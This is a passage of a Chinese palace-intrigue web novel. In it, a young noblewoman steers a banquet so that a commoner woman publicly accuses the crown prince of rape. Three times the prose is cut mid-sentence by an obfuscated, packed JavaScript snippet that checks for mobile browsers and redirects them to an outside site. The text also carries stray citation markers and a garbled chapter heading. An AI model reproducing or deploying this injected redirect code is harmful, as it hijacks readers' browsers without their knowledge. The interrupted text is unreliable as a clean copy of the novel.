崔云姝则懒洋洋地跟在姐姐身后,扮演着一个不谙世事、备受宠爱的妹妹角色。她只是微笑着点头,偶尔附和两句,大部分时间都在不动声色地观察着在场的每一个人,在心中默默盘算着接下来的计划。 今日到场的,皆是京中有头有脸的官宦之女。这些人,既是她计划的观众,也是她散播舆论的最佳媒介。她需要一个契机,一个能将所有人的注意力都引向“那件事”的契机。 正当她思索之际,一个不和谐的声音突兀地响了起来。 “哟,我当是谁呢,这不是前些日子染了风寒,连夫子的课都不敢去上的崔四妹妹吗?” 这声音尖锐而刻薄,充满了毫不掩饰的挑衅意味。 崔云姝闻声抬眸,只见一个身着桃红罗裙、满头珠翠的少女正抱着手臂,一脸讥诮地看着她。正是卢家的嫡女,卢蔓儿 。 崔云姝与这卢蔓儿向来不合 。此女性情骄纵,心胸狭隘,偏又喜欢在人前摆出一副清高的模样,二人曾在私学中结下过梁子,自此便看对方不顺眼 。 今日她是主人家,本该笑脸迎客,却不想一开口便是夹枪带棒。 周围的空气瞬间安静下来,所有人的目光都在崔云姝和卢蔓儿之间来回逡巡,带着看好戏的兴味。 崔云姝心中冷笑,面上却故作惊讶地捂住了嘴,一双杏眼眨了眨,无辜地道:“卢姐姐这是说的哪里话?我前些日子的风寒确实重了些,阿娘拘着不让出门,可不敢与卢姐姐的身子骨比。我瞧着卢姐姐今日面色红润,声如洪钟,想来是比这园子里的御衣黄还要艳上三分呢,可见是平日里保养得宜。” 她这话听着像是称赞,实则暗讽卢蔓儿粗俗无礼,嗓门大得像吵架。 卢蔓儿脸色一僵,她自然听出了话中的讽刺,咬牙道:“你这张嘴倒是一贯的伶牙俐齿!不过是碰巧碰到,我好心关怀你一句罢了。倒是你,病刚好就来赴宴,可要小心些,夫子今日也受邀来了,她老人家眼里最是容不得沙子。” 她这是在暗指崔云姝前几日是装病逃课,还想拿夫子来压她 。 崔云姝闻言,非但没怕,反而眼睛一亮,拍手笑道:“哎呀,这可真是太好了!我正好有事要同夫子说呢。多谢卢姐姐提醒,不知夫子在何处?我想来夫子她老人家,至今还没找到是哪个冒失鬼,打碎了她 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“你……你……”卢蔓儿气得浑身发抖,一张俏脸涨成了猪肝色,却又找不出一句话来反驳。她指着崔云姝“你”了半天,最终只能恨恨地一跺脚,哭着跑开了 。 “卢姐儿这是做什么。”一个与卢家交好的贵女象征性地说了句,却也不敢去追 。 一场小小的风波,以崔云姝的完胜而告终。 待卢蔓儿的身影彻底消失后,一直沉默不语的崔云熙才微蹙秀眉,轻声问道:“四妹妹,你与那卢姐儿的关系,一向如此吗?” 她不赞同妹妹这般咄咄逼人,但对方出言不逊在先,她也不好过多指责。 “让熙姐姐看笑话了。”崔云姝收起脸上的锋芒,换回一副乖巧模样,向姐姐解释道,“我与她向来不对付,她那张嘴,实在太臭了。而且,她品行不端,之前还想带着兰姐姐去南曲那等地方鬼混,被我撞见搅黄了,自此便记恨上了我。” 崔云姝口中的兰姐姐,是崔家的一个旁支姐妹,性子单纯,最易受人影响 。 听到“南曲”二字,崔云熙的眉头皱得更紧了。那等地方,虽说着风雅,实则是狎优养伶之所,正经人家的女儿,谁会去那里 。“这等人,确实该离远些。”她沉声道,算是认可了崔云姝的做法,“你兰姐姐也是,回头我需同阿娘说一声,该好好教导她了。” 这场小小的风波,就像投入湖中的一颗石子,虽然只激起了一圈小小的涟漪,却让在场的贵女们都看得清清楚楚 。崔家的四姑娘,并非传闻中那般只是个懒散天真的娇憨人儿,她的爪牙,锋利得很。 而崔云姝,则通过这次小小的“试探”,确认了一件事——她在这个圈子里的话语权和影响力,足以引导舆论的走向 。 这就够了。 她抬眼望向花园深处,那里宾客云集,笑语晏晏,一派祥和。然而,她知道,这平静的湖面之下,暗流已经开始涌动。 万事俱备,只欠东风。 而那阵能将一切都掀翻的东风,就快要来了。 5. 第 5 章 【崔府,斐阁】 与卢府后花园里那份被丝竹与欢笑声精心粉饰的太平不同,崔家的斐阁,此刻正笼罩在一片山雨欲来的低气压之下。 崔温今日散朝回府,并未像往常一样先回正房,而是脱下繁复的朝服,换上一身家常便袍后,便径直去了次子崔元珏的书房 。他屏退了所有下人,父子二人在门窗紧闭的书房内密谈了近半个时辰 。 当书房的门再次打开时,崔温的脸上带着一种志得意满的亢奋,而崔元珏的面色则显得有些凝重,但最终,他还是对着父亲的背影,躬身行了一礼,那是一种承载了责任与决心的沉默应允。 崔温心满意足地回到了自己与妻子宋氏居住的斐阁。 彼时,宋氏正坐在窗边,手里拿着账本,有一搭没一搭地拨着算盘珠,看似在核对账目,实则心神不宁 。她太了解自己的丈夫了,他今日回府后的反常举动,让她心中那根名为“不安”的弦,被悄无声息地拨动了。 “六娘。”崔温的声音里透着一股难掩的喜悦,他走到宋氏身边,亲手为她添了一杯热茶。 宋氏连眼皮都未曾抬一下,只是冷淡地“嗯”了一声,手指在算盘上拨出一串清脆的声响,问道:“与元珏商量完了?” 崔温脸上的笑容一僵,随即化为一丝无奈:“什么都瞒不过你。”他坐到宋氏对面,沉声道,“六娘,是天大的好事。今日早朝,圣人亲口问我,有意让元珏入东宫,做太子伴读。” “啪嗒——” 宋氏手中的账本滑落在地,算盘珠因主人的失神而发出一阵杂乱的碰撞声。 她猛地抬起头,那双一向沉静如水的眸子里,此刻燃起了熊熊怒火。她死死地盯着崔温,一字一顿地问道:“你答应了?” “圣意已决,岂有臣子拒绝的道理?”崔温理所当然地道,“这是圣人对我们崔家的恩宠,更是元珏百年难遇的机遇!待将来殿下登基,元珏便是从龙之功,前途不可限量!” “恩宠?机遇?”宋氏忽然笑了,笑声里充满了无尽的冰冷与嘲讽,“崔温,你真是被功名利禄蒙蔽了心智!一个女儿不够,如今还要把儿子也一并推入东宫那个吃人的漩涡里去吗?!” 她的声音陡然拔高,再不复往日的温婉端庄,像一头被触及逆鳞的母狮。 “六娘,慎言!”崔温脸色一沉,“什么叫吃人的漩涡?太子是国之储君,元珏能伴其左右,是何等的荣耀!” “荣耀?”宋氏站起身,在房中来回踱步,胸口剧烈起伏,“我只看到一把悬在头顶的利剑!太子妃、太子伴读,听着是何等风光,可你有没有想过,倘若有朝一日,圣人厌倦了太子呢?你想过你这一双儿女的处境吗?” “圣人春秋鼎盛,不过四十有三,怎会厌倦殿下?”崔温皱眉反驳,“若真厌倦,又为何三番两次为殿下求娶我崔氏之女?你没看出来吗?王家势大,二皇子咄咄逼人,圣人这是在为殿下铺路,为他培养自己的势力!” “为他铺路?”宋氏发出一声嗤笑,“崔温,你真是天真得可笑!你忘了当年德皇后新丧,满朝都以为圣人会清算王家,结果呢?今时今日,陛下与王贵妃琴瑟和鸣,二皇子恩宠日隆!帝王心术,深如渊海,你凭什么就敢断定圣人会一直偏爱太子?” 这番话,如同最锋利的尖刀,直直插向崔温构建的功名美梦,让他一时语塞。 “六娘!”他恼羞成怒地低喝一声,试图用丈夫的威严压制妻子的“胡言乱语”。 “这世道不是声音大便有理!”宋氏毫不退让,双目赤红地瞪着他,“元珏天资聪颖,就算按部就班地走科举之路,将来也未必不能成为国之栋梁,为何非要让他去冒这个天大的风险?说到底,不过是你崔温为了你那点可笑的虚荣心,想要他走捷径,好让你轻松落个从龙之功的虚名!” “你……你简直不可理喻!”崔温被说中了心事,气得站了起来,指着宋氏,手指都在微微颤抖。 “我不可理喻?”宋氏的眼泪终于忍不住滑落,她指着自己的心口,声音里充满了绝望与悲怆,“熙姐儿虽非我亲生,可她也唤了我十几年阿娘!她替了姝儿的位子,我心中本就愧疚万分,夜不能寐!如今你还要把元珏也送进去!崔温,你有没有心?那是我们的儿子!是活生生的人,不是你用来攀附权势的棋子!” 宋氏的哭诉如同重锤,一下下敲在崔温的心上。他脸上的怒气渐渐消退,取而代之的是一丝疲惫与愧疚。他放软了声音,上前想要安抚妻子:“六娘,你……你莫要如此。我……我也是为了他们好,为了崔家好……” 宋氏却猛地挥手打开了他伸过来的手,泪眼婆娑地看着他,眼神里满是失望:“不必了。你既已做了决定,又何必再来假惺惺地告知我?你怕是早就和元珏商量好了吧?他那孩子的性子,最是孝顺,又岂会违逆你这个父亲?” 她踉跄着后退两步,扶住桌沿,惨然一笑:“罢了,罢了……我这一双儿女,终究还是要尽数困于东宫。崔温,我只希望你今日的决定,将来不会让你悔不当初。” 说完,她便不再看他一眼,转身走进了内室,将那扇沉重的门,无情地关上。 门外,崔温伸出的手僵在半空,脸上的血色一点点褪去,只剩下满心的无力与惘然。他知道,他与妻子之间,那道因对未来不同抉择而产生的裂痕,在这一刻,被彻底撕开了。 【卢府,春日宴】 水榭之中,丝竹悦耳,笑语盈盈。 崔云姝百无聊赖地坐在姐姐身边,小口地吃着面前的茶点,心思却早已飞到了九霄云外。 与卢蔓儿的那场小冲突过后,再无人敢上前来寻不自在。她乐得清静,一边竖着耳朵听着周围贵女们的闲谈八卦,一边在心中默默计算着时间。 按照“书”中的描述,那民妇应当是在午宴之后,太子驾临之前,才会寻机闯入。现在时辰尚早,她能做的,唯有等待。 可不知为何,她总觉得心神不宁,眼皮也跳个不停,仿佛有什么意料之外的事情即将发生。 就在她暗自揣测之时,眼角余光瞥见一个熟悉的身影正穿过人群,步履匆匆地向她这边走来。 是阿桃。 崔云姝心中一动。她不是让阿桃在东市等馄饨,然后直接来卢府寻她吗?怎么这般快就到了?而且看她神色慌张,额上带汗,似乎是发生了什么急事。 “姐儿……”阿桃跑到近前,顾不得行礼,喘着粗气,脸色煞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367926|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白地附到崔云姝耳边 。 “怎么了?慢慢说。”崔云姝不动声色地递给她一杯茶水,心中那股不祥的预感却愈发浓重。 阿桃接过茶水猛灌了一口,才压低了声音,用只有两人能听见的音量急声道:“姐儿,不好了!方才奴婢在东市等馄饨,府里的小厮石头急匆匆地寻了过来,说是……说是……” “说什么?” “说是……二郎君……二郎君他……被圣人下旨,定为太子伴读,旨意刚下,即日便要入宫了!” “轰——” 阿桃的这句话,如同一道九天惊雷,在崔云姝的脑海中轰然炸响! 一瞬间,她什么都听不到了。耳边只剩下尖锐的嗡鸣声,眼前的一切景物都开始扭曲、旋转。水榭的欢声笑语,贵女们的娇美容颜,园中的奇花异草……所有的一切都迅速褪色,变成了一片灰败的虚无。 太子伴读…… 二哥……也要进东宫了…… 怎么会?为什么会这么快? “书”中明明只提了太子伴读这件事,却从未说过,会是在春日宴这一天! 崔云姝只觉得浑身的血液都在一瞬间被抽空,四肢冰冷得像刚从寒潭里捞出来一样。 釜底抽薪! 这四个字,狠狠地砸在她的心上。 她原本的计划,是搅黄姐姐的婚事,让崔家与东宫脱钩。可现在呢?姐姐的婚事还未解决,父亲却又亲手将哥哥送进了那个最危险的漩涡中心! 一个太子妃,一个太子伴读……崔家与东宫,被两道最坚固的锁链,死死地捆绑在了一起! 一边是即将被毁掉的姐姐,另一边是主动跳入火坑的哥哥……她以为自己找到了拯救家人的方向,却在转眼间发现,自己被推到了一个更加孤立无援的绝境! “四妹妹?四妹妹你怎么了?” 崔云熙担忧的声音将她从无边的冰冷中唤醒。她一回头,便对上姐姐那双写满了关切的眸子。 崔云姝张了张嘴,却一个字也说不出来。她能说什么?告诉姐姐,我们的哥哥也被父亲推进火坑了?告诉她,我们全家都在奔赴死亡的路上越走越远? 她不能。 巨大的压力与绝望如同潮水般将她淹没,几乎要将她压垮。但就在这窒息的黑暗中,一丝疯狂的、决绝的光芒,却从她的眼底深处,悍然亮起! 她明白了。 她没有退路了。 既然无法脱钩,那就彻底砸烂! 春日宴上的计划,是她最后的机会。它不仅要成功,而且必须……闹得越大越好!大到足以让圣人震怒,大到足以让整个崔氏蒙羞,大到足以让清流与言官们群起而攻之,彻底断了崔家和东宫之间所有的念想![2] 哪怕会因此得罪太子,得罪卢家,得罪满朝文武,她也在所不惜! 崔云姝深吸一口气,那张因震惊而煞白的脸上,缓缓浮现出一抹近乎诡异的平静。她对着姐姐,轻轻地摇了摇头,声音沙哑却异常坚定地道:“我没事,熙姐姐。” 她抬起头,目光越过眼前觥筹交错的虚假繁华,望向了那条通往偏僻院落的小径。 那里,才是她今日真正的战场。 6. 第 6 章 午后的阳光透过水榭的雕花窗棂,洒下一地斑驳陆离的光影。空气中弥漫着牡丹的馥郁芬芳与佳酿的醇厚香气,混杂着贵女们银铃般的笑语,构成了一曲雍容华贵的春日乐章。 然而,在这片祥和之下,崔云姝的心却已沉入万丈寒渊。 二哥崔元珏成为太子伴读的消息,如同一柄淬了冰的重锤,不仅砸碎了她心中最后一丝侥幸,更将她逼上了孤注一掷的悬崖。退路已断,前方便是刀山火海,她别无选择,只能迎头撞上去,用最惨烈的方式,为崔家,为姐姐,也为她自己,砸出一条生路。 她端坐在席间,指尖微微发白,面上却依旧维持着一派天真烂漫。她像一只蛰伏在暗处的蜘蛛,耐心地等待着,等待着那只注定要撞上蛛网的飞蛾。 时间在丝竹管弦声中缓缓流淌。 终于,在她几乎要将面前一碟杏仁酥数清有多少颗时,那期待已久的“东风”来了 。 一个穿着卢府管事家仆役服饰的婢女,神色慌张地从花园入口处跑了进来,她甚至顾不上仪态,提着裙摆,一路小跑,穿过嬉笑的人群,径直奔向主位上的卢家主母——卢娘子 。 那婢女附在卢娘子耳边,飞快地低语了几句。 崔云姝的目光看似不经意地扫过,却将卢娘子脸上每一个细微的变化都尽收眼底。 她清楚地看到,在听完婢女回报的那一刹那,卢娘子脸上那雍容得体的笑容瞬间凝固,眼中闪过一丝真实的惊慌与失措 。虽然只有短短一瞬,但那份源自内心的震撼,是无论如何也掩饰不住的。 果然! 崔云姝的心脏重重一跳,攥紧了藏在袖中的手。这一幕,与“书”中的描述分毫不差 。 卢娘子毕竟是见过些场面的人,失神过后,她很快便强作镇定。她先是低声斥责了那婢女几句,随即抬起头,对着投来好奇目光的宾客们,露出一个歉意的笑容,声音不大不小,恰好能让周围几桌的人都听清楚:“让诸位见笑了,不过是后厨几个手脚不干净的婆子起了争执,打了起来,我去处理一下便回,误不了诸位的雅兴。” 她这番话说得滴水不漏,既解释了婢女的慌张,又将一件可能存在的“大事”轻描淡写地归结为下人间的口角,意图将影响降到最低 。 在场的贵女们大多信以为真,毕竟高门大户里,下人之间有些龌龊争斗是常有的事。众人纷纷表示理解,劝卢娘子不必介怀。 若是在平时,此事便会如一颗投入湖中的石子,只激起一圈微不足道的涟漪,便会迅速沉寂下去。 但今日,崔云姝绝不会让它沉下去 。 “婆子打架?” 她故作天真地轻声念叨了一句,声音不大,却足以让她身边的几位贵女听见 。她转过头,拉住旁边一位与她交好的、吏部侍郎家的李家妹妹的衣袖,秀眉微蹙,脸上露出恰到好处的担忧之色。 “李姐姐,我……我心里有些不安。” 那李家妹妹见她脸色有些发白,忙关切地问道:“云姝妹妹怎么了?可是身子不适?” “不是的,”崔云姝摇了摇头,声音里带着一丝怯怯的委屈,“方才我与熙姐姐从东市过来时,我的婢女阿桃,因着一些小事,似乎与人起了点口角。我让她去卢府后门等我,算算时辰也该到了。卢娘子说后厨有婆子打架,我……我实在担心,阿桃那丫头性子直,可别被误伤了才好。” 她这番话说得情真意切,将一个关心贴身婢女、不谙世事的小主人形象演绎得活灵活现 。 崔家的四姑娘自小被娇宠长大,性子懒散却心地善良,对自己院里的下人极好,这在京中贵女圈里并不是秘密。她此刻的担忧,在旁人看来,是再正常不过的反应。 果然,周围的几位贵女立刻上了钩 。 “哎呀,云姝妹妹莫要担心,下人打架,还能有多大事?” “是啊,你家阿桃我们都见过,机灵着呢,哪会吃亏。” 几人纷纷出言宽慰,她们平日里受崔家姐妹的身份加持,本就有心结交,此刻见有机会表现,自然不遗余力 。 其中一位性子最是活络的张家姑娘,更是主动站起身,扬声道:“卢娘子,且慢一步!” 正准备悄悄离席去处理麻烦的卢娘子脚步一顿,回头不解地看向她。 张家姑娘笑着道:“卢娘子,崔四妹妹担心她的婢女,您方才说后厨有婆子打架,不知是在何处?可否遣人去看一眼,免得妹妹在这里坐立不安。” “是啊卢娘子,举手之劳罢了。” “崔妹妹也是一片爱护下人之心,还望娘子体谅。” 几位贵女七嘴八舌地帮腔,将此事从崔云姝个人的担忧,上升到了一个小范围的公众议题 。 卢娘子的脸色有些难看,她勉强笑道:“诸位说笑了,不过是几个泼皮婆子,怎会伤到崔四姑娘的贵人?我这就派人去后门将阿桃姑娘请进来便是。” 她一边说,一边给身旁的管事娘子使眼色,想让她快刀斩乱麻,将事情压下去。 然而,崔云姝怎会给她这个机会? “多谢卢娘子美意,”她紧接着站起身,盈盈一拜,语气却带着不容拒绝的恳切,“只是……我实在放心不下。不知卢娘子,可否方便带我一块儿去看看?我远远地瞧一眼,确认阿桃无事便好。我与她一同长大,情同姐妹,若是她真受了什么委屈,我……我这心里实在过意不去。” 她的声音带着一丝不易察觉的哽咽,眼圈也微微泛红,那副泫然欲泣的模样,任谁看了都要心生怜惜 [7]。 这一下,就连一直静观其变的崔云熙也忍不住出声了。她轻轻拍了拍妹妹的手背,对着卢娘子柔声道:“娘子,我这妹妹素来把她那婢女当做亲人,还望娘子见谅。若是不麻烦,便让她跟着去瞧一眼吧。” 崔云熙的话,分量便完全不同了。 她是未来的太子妃,是崔家的嫡长女。她一开口,便代表了崔家的颜面。 卢娘子额上渗出了一层细密的冷汗。她看看一脸“天真担忧”的崔云姝,又看看神色温和却态度坚定的崔云熙,再看看周围那一双双充满了好奇与八卦的眼睛,她知道,今天这事,怕是没法善了了 。 在众目睽睽之下,她若再强行拒绝,不仅会得罪崔家姐妹,更会显得自己心虚,反而坐实了后院出了大事的猜测 。 “这……”卢娘子为难至极,进退维谷 。 最终,她只能从牙缝里挤出一句话:“既……既然如此,那便……请崔大姑娘和崔四姑娘随我来吧。” “我也去!” “同去同去,正好走动走动,消消食。” 有了崔家姐妹带头,其余的贵女们哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367927|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还肯安坐?八卦是女人的天性,更何况是这种高门大户里的秘辛。一时间,应者云集,呼啦啦站起来一大片,浩浩荡荡地跟在了卢娘子身后。 卢娘子看着身后这群唯恐天下不乱的贵女们,只觉得眼前一阵发黑,险些晕厥过去。 一场原本可以被悄无声息压下的后院风波,就在崔云姝这看似天真无邪、实则步步为营的巧妙布局下,被硬生生地变成了一场即将公开上演的大戏 。 【男主视角】 花园的另一侧,临水的敞轩内,几位勋贵子弟正聚在一起饮酒说笑,气氛比女眷那边要随意许多。 安郡王府的小王爷唐璞,正斜倚在美人靠上,百无聊赖地把玩着手中的白玉酒杯 。 他今日会来,不过是碍于父亲的命令,来给卢家和东宫一个面子。对于这种充满了虚伪客套的宴会,他向来是敬而远之。比起和这群纨绔子弟谈论风月,他更喜欢待在西山的军营里,听弓弦震动的声音,闻火药硝石的味道。 “小王爷,怎么一个人喝闷酒?可是嫌弃卢家的酒水不好?”二皇子的小舅子,王家三郎端着酒杯凑了过来,脸上带着谄媚的笑。 唐璞眼皮都未抬一下,只是淡淡道:“酒是好酒,只是人不对。” 王三郎碰了个软钉子,面色一僵,讪讪地退开了。 唐璞将杯中酒一饮而尽,正准备寻个由头提前离席,眼角的余光却无意中被水榭那边的一场骚动所吸引 。 他看到了崔家的两位姑娘,尤其是那个四姑娘,崔云姝。 对于这位崔四小姐,唐璞的印象并不深,只停留在“崔家最受宠的嫡女”、“性子懒散,不喜交际”之类的传闻上。然而,方才她与卢蔓儿的那场交锋,他恰好看在眼里。那份看似随性、实则字字诛心的伶牙俐齿,让他觉得,传闻似乎并不可信。 而此刻,她正主导着一场更大的风波。 唐璞的目力极佳,即便隔着一段距离,他也能清楚地看到崔云姝脸上那副惟妙惟肖的担忧表情,以及她是如何一步步地煽动周围的贵女,将卢娘子逼入绝境的全过程 。 这绝不是一个十三岁少女该有的心机和手段。她的每一步都踩在最关键的点上,每一个表情、每一句话,都像经过了精密的计算,充满了强烈的目的性 。 更让唐璞感到在意的,是他在无意中,似乎听到了她口中低声念叨的几个词。 “……三年后……来不及了……” 声音很轻,几乎被风吹散,但唐璞自幼习武,耳力过人,他确信自己没有听错 。 三年后?什么来不及了? 一个养在深闺的十三岁少女,为何会说出这样充满紧迫感和宿命感的词语? 唐璞的眉头微微皱起,那双一向慵懒的眸子里,第一次浮现出真正的好奇与探究 。他看着崔云姝那看似娇弱、实则坚韧的背影,混在一群叽叽喳喳的贵女中,朝着花园深处走去,心中忽然涌起一股强烈的直觉。 这个崔家四小姐,远非传闻中那般懒散简单 。 她就像一个巨大的谜团,表面上是人畜无害的白兔,内里却可能藏着一只算计精明的狐狸。 唐璞放下酒杯,站起身,理了理衣袍。 他决定跟上去看看。 他倒要瞧瞧,这位有趣的崔四小姐,葫芦里究竟卖的什么药 。 7. 第 7 章 第八章:图穷匕见,石破天惊 卢府的后花园,以一条精巧的鹅卵石小径为界,划开了两个截然不同的世界。一边是水榭楼台,牡丹盛放,暖香浮动,是人间富贵乡;另一边,则是通往仆役居住的偏僻院落,道路越走越窄,景致也随之萧条。 卢娘子走在最前面,每一步都仿佛踩在烧红的炭火上。她的后背已经被冷汗浸湿,脸上那份强撑出来的镇定,在午后阳光的照射下,显得格外苍白脆弱。她心中将崔云姝骂了千百遍,却又不敢表露分毫。她只盼着到了地方,能随便寻个由头,将这群唯恐天下不乱的贵女们赶紧打发走 。 跟在她身后的,是以崔氏姐妹为首的一众贵女。她们早已没了赏花的闲情逸致,一个个伸长了脖子,眼中闪烁着八卦与探究的光芒。窃窃私语声如蚊蝇般在队伍中嗡嗡作响。 “瞧卢娘子这脸色,怕不是真出了什么大事吧?” “谁说不是呢,若真是婆子打架,何至于此?” “你们说,会不会是……那等见不得光的腌臜事?” 崔云姝搀扶着姐姐崔云熙的手臂,亦步亦趋地走在人群的最前方。她低垂着眼帘,将自己所有的情绪都完美地隐藏在那副天真而担忧的面具之下。她的心跳得飞快,既有计划即将成功的兴奋,又有面对未知变数的紧张。她知道,大戏的帷幕,马上就要拉开了。 崔云熙察觉到妹妹手心的微凉,反手轻轻握住,低声安抚道:“莫怕,有姐姐在。”她以为妹妹是被这压抑的气氛吓到了,却不知,这气氛的始作俑者,正是她怀中这个看似柔弱的妹妹。 一行人最终在一处偏僻破落的院落前停下了脚步 。 这院子像是被整个卢府遗忘的角落,院墙上爬满了枯藤,墙皮大片剥落,露出里面青灰色的砖石。院门虚掩着,门轴早已锈蚀,随着微风发出“吱呀”的呻吟,仿佛在诉说着此地的荒凉与不堪。 “咳,”卢娘子清了清嗓子,转过身,脸上挤出一个比哭还难看的笑容,“诸位请看,就是这里了。方才……方才就是两个洗衣的婆子为了一块胰子起了争执,已经被管事带下去训话了。没什么大事,倒是让诸位白跑一趟,实在是罪过。” 她一边说,一边给身边的管事娘子使眼色,示意她赶紧附和,将此事圆过去。 然而,她的话音还未完全落下,一个凄厉的、带着浓浓哭腔的女声,便从那虚掩的院门后猛地传了出来! “请诸位娘子为民妇做主啊!” 伴随着这声泣血般的呼喊,一道狼狈的身影从院内踉跄着冲了出来,“噗通”一声,直挺挺地跪倒在众人面前的尘埃里 。 这突如其来的一幕,让在场的所有人都惊得倒吸一口凉气。叽叽喳喳的议论声瞬间消失,所有人的目光都死死地钉在了那个跪地的身影上。 那是一个穿着洗得发白的粗布裙衫的女子,头发散乱,衣衫上还沾着些许泥土,看上去了无生气。她伏在地上,瘦弱的肩膀剧烈地颤抖着,压抑的哭声从她身下传来,充满了无尽的委屈与绝望。 正是崔云姝在东市馄饨店里见过的那个民妇! 崔云姝的心脏狂跳起来,她下意识地抓紧了姐姐的衣袖,身体微微向后缩,将一个被吓坏的贵族少女的形象演绎得淋漓尽致。然而,在她低垂的眼眸深处,却是一片冰冷的狂喜。 来了!图穷匕见的时候,终于来了! “你……你这疯妇!是哪里来的?竟敢在此惊扰贵客!”卢娘子像是被踩了尾巴的猫,瞬间炸了毛。她脸色煞白,声音尖利地厉声呵斥道,“来人!还不快把这个疯妇给我叉出去!” 几个闻声赶来的家丁护院立刻上前,想要将那女子架走。 “不要碰我!”那女子却猛地抬起头,声音凄厉地尖叫一声。她手脚并用地向前爬了几步,死死地抱住身旁一根廊柱,任凭家丁如何拉拽,都绝不松手 [1]。她仿佛抱住的不是一根冰冷的柱子,而是她活下去的最后一根救命稻草。 “民妇今日若是走了,便再无活路!”她哭喊着,声音嘶哑而绝望,“民妇乃是城东良家妇,去年为中曲的姐儿们送馄饨,却……却被一位贵人酒后误认,强行……强行玷污了清白!” “轰——” 此言一出,人群中顿时炸开了锅。 玷污清白! 这四个字,对于在场的这些未出阁的贵女们来说,是何等惊世骇俗的字眼!她们一个个面露惊骇之色,下意识地用团扇或衣袖遮住半张脸,只露出一双双写满了震惊与好奇的眼睛,交头接耳的议论声再次响起,比之前任何时候都要响亮。 “天哪,竟是这等事……” “光天化日,朗朗乾坤,还有王法吗?” “是哪家的贵人?竟如此胆大包天?” 卢娘子的身子晃了晃,几乎要站立不稳。她知道,完了,事情已经彻底失控了 。她指着那民妇,气得浑身发抖,厉声道:“一派胡言!你这贱妇,休要在此血口喷人,污蔑贵人清誉!你可知这是何等罪过?来人,给我堵上她的嘴,乱棍打出去!” “民妇方才所言若有半句虚假,愿遭天打雷劈,死后坠入阿鼻地狱,永世不得超生!” 面对卢娘子的威胁,那女子非但没有退缩,反而发出了更加凄厉的毒誓。她猛地抬起手,一把扯下了头上那顶遮挡面容的帷幔 。 一张梨花带雨、我见犹怜的绝色面容,就这样猝不及防地暴露在众人眼前 。 那是一张素净到极致的脸,肌肤胜雪,眉目如画,一双盈盈杏眼此刻噙满了泪水,脆弱得仿佛一碰即碎。她没有任何珠翠点缀,却比在场任何一位精心打扮的贵女,都更能激起人心底的保护欲 。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367928|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “笑话,你这等模样,怎能入……”卢娘子下意识地想说“怎能入得了贵人的眼”,可话到嘴边,看着那张足以让任何男人动心的脸,她却怎么也说不下去了 。 “民妇已有三个月的身孕,”女子一手抚着尚不明显的小腹,泪水潸然而下,“婆家嫌我身子不洁,已将我赶出家门。我兄长为我奔走,却处处碰壁,如今已是走投无路。今日我斗胆闯入此地,并非想要攀附富贵,只是……只是想为腹中孩儿求一条活路啊!” 她的哭诉声声泣血,情真意切,配上那张绝美的脸庞,瞬间赢得了在场绝大多数人的同情。贵女们看她的眼神,从最初的鄙夷和好奇,渐渐转为了怜悯。 场面一时间陷入了僵持 。卢娘子色厉内荏,不敢再下令动粗;家丁们投鼠忌器,不敢上前;而那民妇则抱着柱子,哭得肝肠寸断。 崔云姝知道,最关键的时刻到了。她需要有人,将这把火,烧得更旺一些,烧到那个她真正想烧的人身上去。 她的目光,不着痕迹地投向了人群中的一个角落。 就在这时,一个清冷而又带着几分傲慢的声音,从人群中响了起来,打破了这片僵局。 “你口口声声说被贵人欺辱,又提及‘殿下’二字,不知你口中的这位殿下,究竟是何人?” 说话的,是一位身着华贵紫色罗裙的少女。她正是二皇子生母王贵妃的亲侄女,王家的嫡小姐,王淑月 。 王家与卢家同属二皇子一派,但王家是老牌勋贵,根基深厚,远非卢家这等新贵可比。因此,王淑月说这话时,连看都未看卢娘子一眼,姿态摆得极高 。 崔云姝的嘴角,在无人察觉的角落,微微勾起了一抹弧度。 来了,她等的“盟友”来了。 王淑月这一问,看似是在探寻真相,实则是将一把最锋利的刀,递到了那民妇的手中,并且精准地对准了东宫的方向 。她这一问,彻底断绝了此事被模糊处理、大事化小的所有可能! 所有人的心都提到了嗓子眼,整个院落瞬间落针可闻,所有人的目光都聚焦在那民妇身上,等待着那个石破天惊的答案。 卢娘子的脸色,已经不能用煞白来形容,那是一种死灰般的绝望。她张着嘴,却发不出任何声音,只能眼睁睁地看着自己精心筹办的宴会,沦为一场政治风暴的中心。 那民妇缓缓抬起头,泪眼朦胧地看了一圈,目光最终落在了未来的太子妃——崔云熙的身上。她的眼神复杂,有愧疚,有嫉妒,但更多的是一种被逼上绝路的疯狂。 她深吸一口气,用尽全身的力气,含着血泪,一字一顿地吐出了那个足以震动整个大秦朝野的名字: “太……子……唐……景……承。” 